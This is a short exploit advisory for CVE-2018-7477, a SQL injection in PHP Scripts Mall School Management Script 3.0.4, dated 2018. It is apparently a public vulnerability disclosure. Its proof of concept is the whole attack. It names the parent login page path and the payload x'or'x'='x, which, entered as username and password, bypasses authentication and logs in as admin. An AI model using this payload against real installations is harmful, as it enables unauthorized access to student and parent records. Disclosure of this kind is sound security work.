School Management Script 3.0.4 SQL Injection

`# Exploit Title: SQL Injection exists in PHP Scripts Mall School Management Script 3.0.4.  
# Date: 26/02/2018  
# Exploit Author: Samiran Santra  
# Vendor Homepage: https://www.phpscriptsmall.com  
# Software Link: https://www.phpscriptsmall.com/product/school-management-system  
# Version: v3.0.4  
#Tested on: Windows   
# Website: https://indiancybersecuritysolutions.com/  
# CVE: CVE-2018-7477  
# Category: webapps  
  
  
Proof of Concept  
  
  
1.First go to this link- http://localhost/PATH/parents/Parent_module/parent_login.php  
  
2.In Username and Password filed just type sql-injection cheat-code (x'or'x'='x)  
  
3.Now you can successfully login as a admin user  
  
  
`